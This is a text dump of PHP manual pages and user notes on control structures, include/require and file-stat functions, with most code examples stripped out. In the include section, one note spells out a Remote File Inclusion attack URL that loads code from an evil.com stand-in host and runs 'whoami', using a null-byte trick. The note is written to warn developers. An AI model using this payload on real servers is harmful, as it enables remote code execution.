between the paragraphs. The difference between a series of if
statements and the switch statement is that the expression you're
comparing with, is evaluated only once in a switch statement. I think
this fact needs a little bit more attention, so here's an example:
>
<
It is therefore perfectly safe to do:
>
<
without having to worry about the function being re-evaluated for
every case. There's no need to preemptively save the result in a
variable either.
46 lko at netuse dot de ¶9 years ago~
Attention if you have mixed types of value in one switch statemet it
can make you some trouble
>
<
The swich-statement will halt on 'case 2'
Answer: this is 2
27 mmxg at shaw dot ca ¶8 years ago~
In reply to lko at netuse dot de
Just so others know whom may not, that's because PHP does automatic
type conversion if a string is evaluated as an integer (it sees the 2
in '2string' so when compared like if ('2string' == 2), PHP sees if (2
== 2) ).
I just tested it, but if you go:
>
<
The output will be "this is a string" and if you change $string to "2"
it will again be "this is 2".
Just in case that may help anyone who may run into that problem.
34 nospam at please dot com ¶16 years ago~
Just a trick I have picked up:
If you need to evaluate several variables to find the first one with
an actual value, TRUE for instance. You can do it this was.
There is probably a better way but it has worked out well for me.
switch (true) {
case (X != 1):
case (Y != 1):
default:
}
10 Hayley Watson ¶9 years ago~
Something not mentioned in the documentation itself, and only touched
on momentarily in these notes, is that the default: case need not be
the last clause in the switch.
>
<
Outputs what you'd expect, namely
0 Thingy
1 One
2 Thingy
3 Three or Four
4 Three or Four
5 Five
6 Thingy
7 Thingy
with case 2 and the default both producing the same result ("Thingy");
strictly speaking, the case 2 clause is completely empty and control
just falls straight through. The same result could have been achieved
with
>
<
But if "case 2" represented a fairly common case (other than
"everything else"), then it would be better to declare it explicitly,
not only because it saves time by not having to test EVERY other case
first (in the current example, PHP finds 'case 2' in the first switch
in two tests, but in the second switch it has to make four tests
before giving up and going with the default) but also because someone
(perhaps yourself in a few months' time) will be reading the code and
expecting to see it handled. Listing it explicitly aids comprehension
12 manicdepressive at mindless dot com ¶13 years ago~
Be careful if distinguishing between NULL and (int)0. As implied in
the above documentation, the case statements are equivalent to the
'==' operator, not the '===' operator, so the following code did not
work as i expected:
>
<
Instead, I may use a chain of else-ifs. (On this page, kriek at
jonkreik dot com states that "in most cases [a switch statement] is
15% faster [than an else-if chain]" but jemore at m6net dotdot fr
claims that when using ===, if/elseif/elseif can be 2 times faster
than a switch().)
Alternatively, if i prefer the appearance of the switch() statement I
may use a trick like the one nospam at please dot com presents:
>
<
code till dawn! mark meves!
--------------------------------------------------------------------------------
*declare*
+---------+~
| declare |~
+---------+~
(PHP 4, PHP 5, PHP 7)
The declare construct is used to set execution directives for a block
of code. The syntax of declare is similar to the syntax of other flow
control constructs:
declare (directive)
statement
The directive section allows the behavior of the declare block to be
set. Currently only three directives are recognized: the ticks
directive (See below for more information on the ticks directive), the
encoding directive (See below for more information on the encoding
directive) and the strict_types directive (See for more information
the strict section on the Function arguments page)
Version Description
5.3.0 Added encoding directive
7.0.0 Added strict_types directive
As directives are handled as the file is being compiled, only literals
may be given as directive values. Variables and constants cannot be
used. To illustrate:
>
<
The statement part of the declare block will be executed - how it is
executed and what side effects occur during execution may depend on
the directive set in the directive block.
The declare construct can also be used in the global scope, affecting
all code following it (however if the file with declare was included
then it does not affect the parent file).
>
<
Ticks~
A tick is an event that occurs for every N low-level tickable
statements executed by the parser within the declare block. The value
for N is specified using ticks=N within the declare block's directive
section.
Not all statements are tickable. Typically, condition expressions and
argument expressions are not tickable.
The event(s) that occur on each tick are specified using the
register_tick_function(). See the example below for more details. Note
that more than one event can occur for each tick.
Example #1 Tick usage example
>
0) {
$a += 2;
print($a);
}
?>
<
Example #2 Ticks usage example
>
0) {
$a += 2;
tick_handler();
print($a);
tick_handler();
}
tick_handler();
?>
<
See also register_tick_function() and unregister_tick_function().
Encoding~
A script's encoding can be specified per-script using the encoding
directive.
Example #3 Declaring an encoding for the script.
>
<
Caution
When combined with namespaces, the only legal syntax for declare is
declare(encoding='...'); where ... is the encoding value.
declare(encoding='...') {} will result in a parse error when combined
with namespaces.
The encoding declare value is ignored in PHP 5.3 unless php is
compiled with --enable-zend-multibyte.
Note that PHP does not expose whether --enable-zend-multibyte was used
to compile PHP other than by phpinfo().
See also zend.script_encoding.
User Contributed Notes 16 notes~
20 Anonymous ¶6 years ago~
It's amazing how many people didn't grasp the concept here. Note the
wording in the documentation. It states that the tick handler is
called every n native execution cycles. That means native
instructions, not including system calls (i'm guessing). This can give
you a very good idea if you need to optimize a particular part of your
script, since you can measure quite effectively how many native
instructions are in your actual code.
A good profiler would take that into account, and force you, the
developer, to include calls to the profiler as you're entering and
leaving every function. That way you'd be able to keep an eye on how
many cycles it took each function to complete. Independent of time.
That is extremely powerful, and not to be underestimated. A good
solution would allow aggregate stats, so the total time in a function
would be counted, including inside called functions.
12 Kubo2 ¶2 years ago~
Note that in PHP 7 throws an E_WARNING if Zend Multibyte is turned off.
15 sawyerrken at gmail dot com ¶3 years ago~
In the following example:
>
";
}
register_tick_function("handler");
declare(ticks = 1){
$b = 2;
} //closing curly bracket tickable
?>
<
"Hello" will be displayed twice because the closing curly bracket is also tickable.
One may wonder why the opening curly bracket is not tickable if the
closing is tickable. This is because the instruction for PHP to start
ticking is given by the opening curly bracket so the ticking starts
immediately after it.
--------------------------------------------------------------------------------
*return*
+--------+~
| return |~
+--------+~
(PHP 4, PHP 5, PHP 7)
return returns program control to the calling module. Execution
resumes at the expression following the called module's invocation.
If called from within a function, the return statement immediately
ends execution of the current function, and returns its argument as
the value of the function call. return also ends the execution of an
eval() statement or script file.
If called from the global scope, then execution of the current script
file is ended. If the current script file was included or required,
then control is passed back to the calling file. Furthermore, if the
current script file was included, then the value given to return will
be returned as the value of the include call. If return is called from
within the main script file, then script execution ends. If the
current script file was named by the auto_prepend_file or
auto_append_file configuration options in php.ini, then that script
file's execution is ended.
For more information, see Returning values.
Note: Note that since return is a language construct and not a
function, the parentheses surrounding its arguments are not required.
It is common to leave them out, and you actually should do so as PHP
has less work to do in this case.
Note: If no parameter is supplied, then the parentheses must be
omitted and NULL will be returned. Calling return with parentheses but
with no arguments will result in a parse error.
Note: You should never use parentheses around your return variable
when returning by reference, as this will not work. You can only
return variables by reference, not the result of a statement. If you
use return ($a); then you're not returning a variable, but the result
of the expression ($a) (which is, of course, the value of $a).
User Contributed Notes 10 notes
98 warhog at warhog dot net ¶11 years ago~
for those of you who think that using return in a script is the same
as using exit note that: using return just exits the execution of the
current script, exit the whole execution.
look at that example:
a.php
>
<
b.php
>
<
(executing a.php:) will echo "ba".
whereas (b.php modified):
a.php
>
<
b.php
>
<
(executing a.php:) will echo "b".
43 Tom ¶3 years ago~
Keep in mind that even if PHP allows you to use "return" in the global
scope it is very bad design to do so.
Using the return statement in the global scope encourages programmers
to use files like functions and treat the include-statement like a
function call. Where they initialize the file's "parameters" by
setting variables in the global scope and reading them in the included
file.
Like so: (WARNING! This code was done by professionals in a controlled
environment. Do NOT try this at home!)
>
<
Where "voodoo.php" may be something like:
>
<
This is one of the worst designs you can implement since there is no
function head, no way to understand where $parameter1 and $parameter2
come from by just looking at "voodoo". No explanation in the calling
file as of what $parameter1 and -2 are doing or why they are even
there. If the names of the parameters ever change in "voodoo" it will
break the calling file. No IDE will properly support this very poor
"design". And I won't even start on the security issues!
If you find yourself in a situation where a return-statement in global
scope is the answer to your problem, then maybe you are asking the
wrong questions. Actually you may be better off using a function and
throwing an exception where needed.
Files are NOT functions. They should NOT be treated as such and under
no circumstances should they "return" anything at all.
Remember: Every time you abuse a return statement God kills a kitten
and makes sure you are reborn as a mouse!
27 J.D. Grimes ¶3 years ago~
Note that because PHP processes the file before running it, any
functions defined in an included file will still be available, even if
the file is not executed.
Example:
a.php
>
<
b.php
>
<
Executing a.php will output "foo".
19 Russell Weed ¶2 years ago~
Following up on Tom and warhog's comments regarding using return in
global scope, here is another reason not to do it:
For command line scripts, the return statement will NOT return a
status to the OS!
>
<
Instead, you must use exit(): http://php.net/exit
>
<
--------------------------------------------------------------------------------
*require*
+---------+~
| require |~
+---------+~
(PHP 4, PHP 5, PHP 7)
require is identical to include except upon failure it will also
produce a fatal E_COMPILE_ERROR level error. In other words, it will
halt the script whereas include only emits a warning (E_WARNING) which
allows the script to continue.
See the include documentation for how this works.
User Contributed Notes 25 notes
92 chris at chrisstockton dot org ¶9 years ago~
Remember, when using require that it is a statement, not a function.
It's not necessary to write:
>
<
The following:
>
<
Is preferred, it will prevent your peers from giving you a hard time
and a trivial conversation about what require really is.
--------------------------------------------------------------------------------
*include*
+---------+~
| include |~
+---------+~
(PHP 4, PHP 5, PHP 7)
The include statement includes and evaluates the specified file.
The documentation below also applies to require.
Files are included based on the file path given or, if none is given,
the include_path specified. If the file isn't found in the
include_path, include will finally check in the calling script's own
directory and the current working directory before failing. The
include construct will emit a warning if it cannot find a file; this
is different behavior from require, which will emit a fatal error.
If a path is defined — whether absolute (starting with a drive letter
or \ on Windows, or / on Unix/Linux systems) or relative to the
current directory (starting with . or ..) — the include_path will be
ignored altogether. For example, if a filename begins with ../, the
parser will look in the parent directory to find the requested file.
For more information on how PHP handles including files and the
include path, see the documentation for include_path.
When a file is included, the code it contains inherits the variable
scope of the line on which the include occurs. Any variables available
at that line in the calling file will be available within the called
file, from that point forward. However, all functions and classes
defined in the included file have the global scope.
Example #1 Basic include example
vars.php
>
<
test.php
>
<
If the include occurs inside a function within the calling file, then
all of the code contained in the called file will behave as though it
had been defined inside that function. So, it will follow the variable
scope of that function. An exception to this rule are magic constants
which are evaluated by the parser before the include occurs.
Example #2 Including within functions
>
<
When a file is included, parsing drops out of PHP mode and into HTML
mode at the beginning of the target file, and resumes again at the
end. For this reason, any code inside the target file which should be
executed as PHP code must be enclosed within valid PHP start and end
tags.
If "URL include wrappers" are enabled in PHP, you can specify the file
to be included using a URL (via HTTP or other supported wrapper - see
Supported Protocols and Wrappers for a list of protocols) instead of a
local pathname. If the target server interprets the target file as PHP
code, variables may be passed to the included file using a URL request
string as used with HTTP GET. This is not strictly speaking the same
thing as including the file and having it inherit the parent file's
variable scope; the script is actually being run on the remote server
and the result is then being included into the local script.
Example #3 include through HTTP
>
<
Warning
Security warning
Remote file may be processed at the remote server (depending on the
file extension and the fact if the remote server runs PHP or not) but
it still has to produce a valid PHP script because it will be
processed at the local server. If the file from the remote server
should be processed there and outputted only, readfile() is much
better function to use. Otherwise, special care should be taken to
secure the remote script to produce a valid and desired code.
See also Remote files, fopen() and file() for related information.
Handling Returns: include returns FALSE on failure and raises a
warning. Successful includes, unless overridden by the included file,
return 1. It is possible to execute a return statement inside an
included file in order to terminate processing in that file and return
to the script which called it. Also, it's possible to return values
from included files. You can take the value of the include call as you
would for a normal function. This is not, however, possible when
including remote files unless the output of the remote file has valid
PHP start and end tags (as with any local file). You can declare the
needed variables within those tags and they will be introduced at
whichever point the file was included.
Because include is a special language construct, parentheses are not needed around its argument. Take care when comparing return value.
Example #4 Comparing return value of include
>
<
Example #5 include and the return statement
return.php
>
<
noreturn.php
>
<
testreturns.php
>
<
$bar is the value 1 because the include was successful. Notice the
difference between the above examples. The first uses return within
the included file while the other does not. If the file can't be
included, FALSE is returned and E_WARNING is issued.
If there are functions defined in the included file, they can be used
in the main file independent if they are before return or after. If
the file is included twice, PHP 5 issues fatal error because functions
were already declared, while PHP 4 doesn't complain about functions
defined after return. It is recommended to use include_once instead of
checking if the file was already included and conditionally return
inside the included file.
Another way to "include" a PHP file into a variable is to capture the
output by using the Output Control Functions with include. For
example:
Example #6 Using output buffering to include a PHP file into a string
>
<
In order to automatically include files within scripts, see also the
auto_prepend_file and auto_append_file configuration options in
php.ini.
Note: Because this is a language construct and not a function, it
cannot be called using variable functions.
See also require, require_once, include_once, get_included_files(),
readfile(), virtual(), and include_path.
User Contributed Notes 20 notes~
67 snowyurik at gmail dot com ¶8 years ago~
This might be useful:
>
<
So you can move script anywhere in web-project tree without changes.
8 John Carty ¶6 months ago~
Before using php's include, require, include_once or require_once
statements, you should learn more about Local File Inclusion (also
known as LFI) and Remote File Inclusion (also known as RFI).
As example #3 points out, it is possible to include a php file from a remote server.
The LFI and RFI vulnerabilities occur when you use an input variable in the include statement without proper input validation. Suppose you have an example.php with code:
>
<
As a programmer, you might expect the user to browse to the path that
you specify.
However, it opens up an RFI vulnerability. To exploit it as an
attacker, I would first setup an evil text file with php code on my
evil.com domain.
evil.txt
>
<
It is a text file so it would not be processed on my server but on the
target/victim server. I would browse to: h t t p : / / w w w
.example.com/example.php?command=whoami& path= h t t p : / / w w w
.evil.com/evil.txt%00
The example.php would download my evil.txt and process the operating
system command that I passed in as the command variable. In this
case, it is whoami. I ended the path variable with a %00, which is
the null character. The original include statement in the example.php
would ignore the rest of the line. It should tell me who the web
server is running as.
Please use proper input validation if you use variables in an include
statement.
19 Anon ¶5 years ago~
I cannot emphasize enough knowing the active working directory. Find
it by: echo getcwd();
Remember that if file A includes file B, and B includes file C; the
include path in B should take into account that A, not B, is the
active working directory.
9 error17191 at gmail dot com ¶1 year ago~
When including a file using its name directly without specifying we
are talking about the current working directory, i.e. saying (include
"file") instead of ( include "./file") . PHP will search first in the
current working directory (given by getcwd() ) , then next searches
for it in the directory of the script being executed (given by
__dir__).
This is an example to demonstrate the situation :
We have two directory structure :
-dir1
----script.php
----test
----dir1_test
-dir2
----test
----dir2_test
dir1/test contains the following text :
This is test in dir1
dir2/test contains the following text:
This is test in dir2
dir1_test contains the following text:
This is dir1_test
dir2_test contains the following text:
This is dir2_test
script.php contains the following code:
';
echo 'Current working directory: ' . getcwd();
echo ' ';
echo 'including "test" ...';
echo ' ';
include 'test';
echo ' ';
echo 'Changing current working directory to dir2';
chdir('../dir2');
echo ' ';
echo 'Directory of the current calling script: ' . __DIR__;
echo ' ';
echo 'Current working directory: ' . getcwd();
echo ' ';
echo 'including "test" ...';
echo ' ';
include 'test';
echo ' ';
echo 'including "dir2_test" ...';
echo ' ';
include 'dir2_test';
echo ' ';
echo 'including "dir1_test" ...';
echo ' ';
include 'dir1_test';
echo ' ';
echo 'including "./dir1_test" ...';
echo ' ';
(@include './dir1_test') or die('couldn\'t include this file ');
?>
The output of executing script.php is :
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir1
including "test" ...
This is test in dir1
Changing current working directory to dir2
Directory of the current calling script: C:\dev\www\php_experiments\working_directory\example2\dir1
Current working directory: C:\dev\www\php_experiments\working_directory\example2\dir2
including "test" ...
This is test in dir2
including "dir2_test" ...
This is dir2_test
including "dir1_test" ...
This is dir1_test
including "./dir1_test" ...
couldn't include this file
8 Rash ¶2 years ago~
If you want to have include files, but do not want them to be
accessible directly from the client side, please, please, for the love
of keyboard, do not do this:
>
<
The reason you should not do this is because there is a better option
available. Move the includeFile(s) out of the document root of your
project. So if the document root of your project is at
"/usr/share/nginx/html", keep the include files in
"/usr/share/nginx/src".
>
<
Since user can't type 'your.site/../src/includeFile.php', your
includeFile(s) would not be accessible to the user directly.
13 Rick Garcia ¶8 years ago~
As a rule of thumb, never include files using relative paths. To do
this efficiently, you can define constants as follows:
----
----
and so on. This way, the files in your framework will only have to issue statements such as this:
>
<
This also frees you from having to check the include path each time
you do an include.
If you're running scripts from below your main web directory, put a
prepend.php file in each subdirectory:
--
--
This way, the prepend.php at the top always gets executed and you'll
have no path handling headaches. Just remember to set the
auto_prepend_file directive on your .htaccess files for each
subdirectory where you have web-accessible scripts.
--------------------------------------------------------------------------------
*require_once*
+--------------+~
| require_once |~
+--------------+~
(PHP 4, PHP 5, PHP 7)
The require_once statement is identical to require except PHP will
check if the file has already been included, and if so, not include
(require) it again.
See the include_once documentation for information about the _once
behaviour, and how it differs from its non _once siblings.
User Contributed Notes 22 notes
79 bimal at sanjaal dot com ¶5 years ago~
If your code is running on multiple servers with different
environments (locations from where your scripts run) the following
idea may be useful to you:
a. Do not give absolute path to include files on your server.
b. Dynamically calculate the full path (absolute path)
Hints:
Use a combination of dirname(__FILE__) and subsequent calls to itself
until you reach to the home of your '/index.php'. Then, attach this
variable (that contains the path) to your included files.
One of my typical example is:
>
<
instead of:
>
<
After this, if you copy paste your codes to another servers, it will
still run, without requiring any further re-configurations.
[EDIT BY danbrown AT php DOT net: Contains a typofix (missing ')') provided by 'JoeB' on 09-JUN-2011.]
12 powtac at gmx dot de ¶1 year ago~
"require_once" and "require" are language constructs and not
functions. Therefore they should be written without "()" brackets!
--------------------------------------------------------------------------------
*include_once*
+--------------+~
| include_once |~
+--------------+~
(PHP 4, PHP 5, PHP 7)
The include_once statement includes and evaluates the specified file
during the execution of the script. This is a behavior similar to the
include statement, with the only difference being that if the code
from a file has already been included, it will not be included again,
and include_once returns TRUE. As the name suggests, the file will be
included just once.
include_once may be used in cases where the same file might be
included and evaluated more than once during a particular execution of
a script, so in this case it may help avoid problems such as function
redefinitions, variable value reassignments, etc.
See the include documentation for information about how this function works.
Note:
With PHP 4, _once functionality differs with case-insensitive
operating systems (like Windows) so for example: Example #1
include_once with a case insensitive OS in PHP 4
>
<
This behaviour changed in PHP 5, so for example with Windows the path
is normalized first so that C:\PROGRA~1\A.php is realized the same as
C:\Program Files\a.php and the file is included just once.
User Contributed Notes 8 notes
182 roach dot scott+spam at googlemail dot com ¶8 years ago~
If you include a file that does not exist with include_once, the
return result will be false.
If you try to include that same file again with include_once the
return value will be true.
Example:
>
<
This is because according to php the file was already included once
(even though it does not exist).
23 Greg McCarthy ¶3 months ago~
In response to what a user wrote 8 years ago regarding include_once
being ran two times in a row on a non-existent file:
Perhaps 8 years ago that was the case, however I have tested in PHP
5.6, and I get this:
$result = include_once 'fakefile.php'; // $result = false
$result = include_once 'fakefile.php' // $result is still false
--------------------------------------------------------------------------------
*fileatime*
+-----------+~
| fileatime |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
fileatime — Gets last access time of file
Description~
>
int fileatime ( string $filename )
<
Gets the last access time of the given file.
Parameters~
filename
--------
Path to the file.
Return Values
Returns the time the file was last accessed, or FALSE on failure. The
time is returned as a Unix timestamp.
Examples~
Example #1 fileatime() example
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note:
The atime of a file is supposed to change whenever the data blocks of
a file are being read. This can be costly performance-wise when an
application regularly accesses a very large number of files or
directories.
Some Unix filesystems can be mounted with atime updates disabled to
increase the performance of such applications; USENET news spools are
a common example. On such filesystems this function will be useless.
Note:
Note that time resolution may differ from one file system to another.
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|filemtime|() - Gets file modification time
|fileinode|() - Gets file inode
|date|() - Format a local time/date
--------------------------------------------------------------------------------
*filectime*
+-----------+~
| filectime |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
filectime — Gets inode change time of file
Description~
>
int filectime ( string $filename )
<
Gets the inode change time of a file.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the time the file was last changed, or FALSE on failure. The
time is returned as a Unix timestamp.
Examples~
Example #1 A filectime() example
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note:
Note: In most Unix filesystems, a file is considered changed when its
inode data is changed; that is, when the permissions, owner, group, or
other metadata from the inode is updated. See also filemtime() (which
is what you want to use when you want to create "Last Modified"
footers on web pages) and fileatime().
Note:
Note also that in some Unix texts the ctime of a file is referred to
as being the creation time of the file. This is wrong. There is no
creation time for Unix files in most Unix filesystems.
Note:
Note that time resolution may differ from one file system to another.
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|filemtime|() - Gets file modification time
User Contributed Notes 9 notes
9 StevieMc at example dot com ¶10 years ago~
This method gets all the files in a directory, and echoes them in the
order of the date they were added (by ftp or whatever).
>
$name) $name=$file_names[$name];
$file_dates = array_merge($file_dates);
$i = 0;
//Loop through dates array and then echo the list
foreach ($file_dates as $file_dates){
$date = $file_dates;
$j = $file_names_Array[$i];
$file = $file_names[$j];
$i++;
echo "File name: $file - Date Added: $date. "";
}
}
?>
<
I hope this is useful to somebody.
--------------------------------------------------------------------------------
*filegroup*
+-----------+~
| filegroup |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
filegroup — Gets file group
Description~
>
int filegroup ( string $filename )
<
Gets the file group. The group ID is returned in numerical format, use
posix_getgrgid() to resolve it to a group name.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the group ID of the file, or FALSE if an error occurs. The
group ID is returned in numerical format, use posix_getgrgid() to
resolve it to a group name. Upon failure, FALSE is returned.
Examples~
Example #1 Finding the group of a file
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|fileowner|() - Gets file owner
|posix_getgrgid|() - Return info about a group by group id
|safe_mode_gid|
--------------------------------------------------------------------------------
*fileinode*
+-----------+~
| fileinode |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
fileinode — Gets file inode
Description~
>
int fileinode ( string $filename )
<
Gets the file inode.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the inode number of the file, or FALSE on failure.
Examples~
Example #1 Comparing the inode of a file with the current file
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|getmyinode|() - Gets the inode of the current script
|stat|() - Gives information about a file
--------------------------------------------------------------------------------
*filemtime*
+-----------+~
| filemtime |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
filemtime — Gets file modification time
Description~
>
int filemtime ( string $filename )
<
This function returns the time when the data blocks of a file were
being written to, that is, the time when the content of the file was
changed.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the time the file was last modified, or FALSE on failure. The
time is returned as a Unix timestamp, which is suitable for the date()
function.
Examples~
Example #1 filemtime() example
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note:
Note that time resolution may differ from one file system to another.
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|filectime|() - Gets inode change time of file
|stat|() - Gives information about a file
|touch|() - Sets access and modification time of file
|getlastmod|() - Gets time of last page modification
User Contributed Notes 28 notes
53 geeks at geekman dot info ¶9 years ago~
This is a very handy function for dealing with browser caching. For
example, say you have a stylesheet and you want to make sure everyone
has the most recent version. You could rename it every time you edit
it, but that would be a pain in the ass. Instead, you can do this:
>
';
?>
<
Sample output:
By appending a GET value (the UNIX timestamp) to the stylesheet URL,
you make the browser think the stylesheet is dynamic, so it'll reload
the stylesheet every time the modification date changes.
35 paranoid at dds dot nl ¶13 years ago~
To get the last modification time of a directory, you can use this:
>
$getLastModDir = filemtime("/path/to/directory/.");
<
Take note on the last dot which is needed to see the directory as a
file and to actually get a last modification date of it.
This comes in handy when you want just one 'last updated' message on the frontpage of your website and still taking all files of your website into account.
Regards,
Frank Keijzers
8 _michael ¶7 years ago~
While testing on Windows, I noticed that the precision of filemtime is just 1 second.
So if you use clearstatcache() and filemtime() to check if a file has been modified, it might fail to detect the change. The modifications just have to happen within less than a second.
(I ran into this with Apache on Windows XP.)
--------------------------------------------------------------------------------
*fileowner*
+-----------+~
| fileowner |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
fileowner — Gets file owner
Description~
>
int fileowner ( string $filename )
<
Gets the file owner.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the user ID of the owner of the file, or FALSE on failure. The
user ID is returned in numerical format, use posix_getpwuid() to
resolve it to a username.
Examples~
Example #1 Finding the owner of a file
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|filegroup|() - Gets file group
|stat|() - Gives information about a file
|posix_getpwuid|() - Return info about a user by user id
User Contributed Notes 3 notes
6 Anonymous ¶11 years ago~
Small note: the function resolves symbolic links. That is, if the link
is created by user 999 and maps to a file owned by user 666, this
function returns 666 :(
7 dazoe ¶6 years ago~
Remember to use if(fileowner(...) === FALSE) instead of
if(!fileowner()) or if(fileowner() == FLASE) because if the owner was
"root" it would return 0.
--------------------------------------------------------------------------------
*fileperms*
+-----------+~
| fileperms |~
+-----------+~
(PHP 4, PHP 5, PHP 7)
fileperms — Gets file permissions
Description~
>
int fileperms ( string $filename )
<
Gets permissions for the given file.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the file's permissions as a numeric mode. Lower bits of this
mode are the same as the permissions expected by chmod(), however on
most platforms the return value will also include information on the
type of file given as filename. The examples below demonstrate how to
test the return value for specific permissions and file types on POSIX
systems, including Linux and Mac OS X.
For local files, the specific return value is that of the st_mode
member of the structure returned by the C library's stat() function.
Exactly which bits are set can vary from platform to platform, and
looking up your specific platform's documentation is recommended if
parsing the non-permission bits of the return value is required.
Examples~
Example #1 Display permissions as an octal value
>
<
The above example will output:
1777
0644
Example #2 Display full permissions
>
<
The above example will output:
-rw-r--r--
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache()
for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|chmod|() - Changes file mode
|is_readable|() - Tells whether a file exists and is readable
|stat|() - Gives information about a file
User Contributed Notes 8 notes
12 coolmic at example dot com ¶3 years ago~
Don't use substr, use bit operator
>
<
If you want to compare permission
>
<
--------------------------------------------------------------------------------
*filesize*
+----------+~
| filesize |~
+----------+~
(PHP 4, PHP 5, PHP 7)
filesize — Gets file size
Description~
>
int filesize ( string $filename )
<
Gets the size for the given file.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the size of the file in bytes, or FALSE (and generates an
error of level E_WARNING) in case of an error.
Note: Because PHP's integer type is signed and many platforms use
32bit integers, some filesystem functions may return unexpected
results for files which are larger than 2GB.
Examples~
Example #1 filesize() example
>
<
Errors/Exceptions~
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache() for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|file_exists|() - Checks whether a file or directory exists
User Contributed Notes 28 notes
119 rommel at rommelsantor dot com ¶5 years ago~
Extremely simple function to get human filesize.
>
<
31 Arseny Mogilev ¶3 years ago~
>
array(
"UNIT" => "TB",
"VALUE" => pow(1024, 4)
),
1 => array(
"UNIT" => "GB",
"VALUE" => pow(1024, 3)
),
2 => array(
"UNIT" => "MB",
"VALUE" => pow(1024, 2)
),
3 => array(
"UNIT" => "KB",
"VALUE" => 1024
),
4 => array(
"UNIT" => "B",
"VALUE" => 1
),
);
foreach($arBytes as $arItem)
{
if($bytes >= $arItem["VALUE"])
{
$result = $bytes / $arItem["VALUE"];
$result = str_replace(".", "," , strval(round($result, 2)))." ".$arItem["UNIT"];
break;
}
}
return $result;
}
?>
<
12 C0nw0nk ¶10 months ago~
Here is my super fast method of getting >2GB files to output the
correct byte size on any version of windows works with both 32Bit and
64Bit.
>
<
20 Anonymous ¶6 years ago~
if you recently appended something to file, and closed it then this
method will not show appended data:
>
<
You should insert a call to clearstatcache() before calling filesize()
I've spent two hours to find that =/
13 CertaiN ¶2 years ago~
The simplest and most efficient implemention for getting remote filesize:
>
<
--------------------------------------------------------------------------------
*filetype*
+----------+~
| filetype |~
+----------+~
(PHP 4, PHP 5, PHP 7)
filetype — Gets file type
Description~
>
string filetype ( string $filename )
<
Returns the type of the given file.
Parameters~
filename
--------
Path to the file.
Return Values~
Returns the type of the file. Possible values are fifo, char, dir,
block, link, file, socket and unknown.
Returns FALSE if an error occurs. filetype() will also produce an
E_NOTICE message if the stat call fails or if the file type is
unknown.
Examples~
Example #1 filetype() example
>
<
Errors/Exceptions ¶
Upon failure, an E_WARNING is emitted.
Notes
Note: The results of this function are cached. See clearstatcache() for more details.
Tip
As of PHP 5.0.0, this function can also be used with some URL
wrappers. Refer to Supported Protocols and Wrappers to determine which
wrappers support stat() family of functionality.
See Also~
|is_dir|() - Tells whether the filename is a directory
|is_file|() - Tells whether the filename is a regular file
|is_link|() - Tells whether the filename is a symbolic link
|file_exists|() - Checks whether a file or directory exists
|mime_content_type|() - Detect MIME Content-type for a file
|pathinfo|() - Returns information about a file path
|stat|() - Gives information about a file
User Contributed Notes 6 notes
19 ruach at chpc dot utah dot edu ¶13 years ago~
There are 7 values that can be returned. Here is a list of them and
what each one means
block: block special device
char: character special device
dir: directory
fifo: FIFO (named pipe)
file: regular file
link: symbolic link
unknown: unknown file type
--------------------------------------------------------------------------------
*flock*
+-------+~
| flock |~
+-------+~
(PHP 4, PHP 5, PHP 7)
flock — Portable advisory file locking
Description~
>
bool flock ( resource $handle , int $operation [, int &$wouldblock ] )
<
flock() allows you to perform a simple reader/writer model which can
be used on virtually every platform (including most Unix derivatives
and even Windows).
On versions of PHP before 5.3.2, the lock is released also by fclose()
(which is also called automatically when script finished).
PHP supports a portable way of locking complete files in an advisory
way (which means all accessing programs have to use the same way of
locking or it will not work). By default, this function will block
until the requested lock is acquired; this may be controlled with the
LOCK_NB option documented below.
Parameters~
handle
------
A file system pointer resource that is typically created using
fopen().
